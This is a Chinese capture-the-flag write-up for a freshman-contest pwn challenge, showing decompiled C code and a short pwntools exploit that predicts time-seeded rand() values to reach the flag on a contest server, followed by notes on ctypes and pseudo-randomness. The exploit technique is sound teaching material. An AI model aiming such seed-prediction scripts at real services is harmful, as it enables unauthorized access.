HUBUCTF.新生赛.ez_pwn

文章发布时间:

最后更新时间:

文章总字数:
1.3k

预计阅读时间:
5 分钟

ps:本题思路由youlin师傅指引

checksec一下,查看一下保护机制

a

保护全开 64位?有点被吓到了

不过这种题估计都是flag已经准备好了或者自带shellcode

拖进ida看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-8Ch] BYREF
int i; // [rsp+8h] [rbp-88h]
int v6; // [rsp+Ch] [rbp-84h]
unsigned int seed[2]; // [rsp+10h] [rbp-80h]
FILE *stream; // [rsp+18h] [rbp-78h]
char v9[32]; // [rsp+20h] [rbp-70h] BYREF
char s[8]; // [rsp+40h] [rbp-50h] BYREF
__int64 v11; // [rsp+48h] [rbp-48h]
__int64 v12; // [rsp+50h] [rbp-40h]
__int64 v13; // [rsp+58h] [rbp-38h]
__int64 v14; // [rsp+60h] [rbp-30h]
__int64 v15; // [rsp+68h] [rbp-28h]
__int64 v16; // [rsp+70h] [rbp-20h]
__int64 v17; // [rsp+78h] [rbp-18h]
unsigned __int64 v18; // [rsp+88h] [rbp-8h]

v18 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
*(_QWORD *)seed = time(0LL);
*(_QWORD *)s = 0LL;
v11 = 0LL;
v12 = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
puts("Who goes there?");
gets(v9);
printf("Welcome to my challenge, %s. No one has ever succeeded before. Will you be the first?\n", v9);
srand(seed[0]);
for ( i = 0; i <= 99; ++i )
{
v6 = rand() % 100000 + 1;
puts("I am thinking of a number from 1-100000. What is it?");
__isoc99_scanf("%d", &v4);
if ( v6 != v4 )
{
puts("You have failed. Goodbye.");
return 0;
}
puts("Impressive.");
}
puts("You've guessed all of my numbers. Here is your reward.");
stream = fopen("flag.txt", "r");
if ( stream )
{
fgets(s, 50, stream);
puts(s);
}
puts("Goodbye.");
return 0;
}

用时间做了种子,循环一百次,每次都随机一个数,我们需要输对这个数,算是经典的猜数字吧

一开始看到我们可以自定义赋值的v4和随机数v6是相邻的字节,所以想通过溢出来覆盖v6,使得if判断成立,不过貌似不行

所以还是正常做法吧

随机数,我目前知道的两种做法,一种是溢出数据覆盖seed,这样我们在知晓种子的值的情况下,因为c语言的rand是伪随机(下面就要降到了,我知道你很急,但你先别急),所以就可以知道随机数的值

还有一种办法是本题将要使用到的,这道题我们可以发现他是用当前时间作为种子,来生成随机数,所以我们只要在exp中也是用当前时间作为种子,就可以得到一样的随机数(这里看不懂的话,是伪随机的概念不清楚)

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
from ctypes import *
io=remote("1.14.71.254",28056)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed = libc.time(0)
libc.srand(seed)
io.sendlineafter(b'Who goes there?', b'chen')
for i in range(100):
buf = libc.rand() % 100000 + 1
io.sendlineafter(b'What is it?', str(buf))
io.recvuntil(b'\n')

几个疑点

1.cdll.LoadLibrary的用法:

看了很多篇猜数字的题解啊,竟然没有一个人对这个函数用法有解释,那没办法了,只能自己wiki了

这个函数就是在python中重新加载文件库

还是有限制的:在64位的windows系统中,一个64位进程不能加载一个32位dll,同理一个32位进程也不能加载一个64位dll

查资料的时候还看到这个限制的特殊情况,不过看不明白,估计了解的价值也不大,先丢在这,有空来填这个坑,感兴趣的可以自己先看(3条消息) python 调用 C++ dll 32位 64位 问题 ctypes.cdll.LoadLibrary_wowocpp的博客-CSDN博客_python调用32位dll

还有一种更深的用法是这个代码库将允许原生Linux程序从一个WindowsDLL文件中加载或调用功能函数

(3条消息) linux运行dll文件命令,LoadLibrary:一款能够允许Linux程序从DLL文件中加载或调用函数的工具…_七分醉玲珑的博客-CSDN博客

因为涉及到linux和windows的进程间通信和内核相关知识,我自己也还没有搞懂,留个坑吧,看以后有没有时间填上

2.伪随机

这里介绍一下c语言中的伪随机

一些基础的c语言知识这里就不多解释了,比如说srand用法和种子的概念

先看看一段代码吧

1
2
3
4
5
6
7
8
9
int main()
{
for(int i=0; i<10; i++)
{
printf("%4d",rand());
}
printf("\n");
return 0;
}

输出10个随机数,我们两次运行试试

b

生成的随机数都一样?

我们不妨这么理解,所谓的rand函数就是根据每个种子分配一张表格,所谓的随机数是从这个表格调用的,所以当我们第二次运行时,由于种子没改变,那么这张表格的数据也不会改变

那么我们如何获得真正意义上的随机数?想一下有什么东西的数据是一直在变化的

我们把目光瞄向时间,函数srand( (unsigned)time( NULL ) ) 中time返回的是1970年1月1日0点到现在时间流失的秒数值

因此,我们这下没法得知种子是多少,也就无法知道这个种子对应的随机数表是什么

但是我们重加载了libc库,同步获取了time返回的种子值,由于time是以秒作为单位的,我们每次for循环得出的随机数和题目的随机数几乎没有差距,所以这道题的随机数就呼之欲出了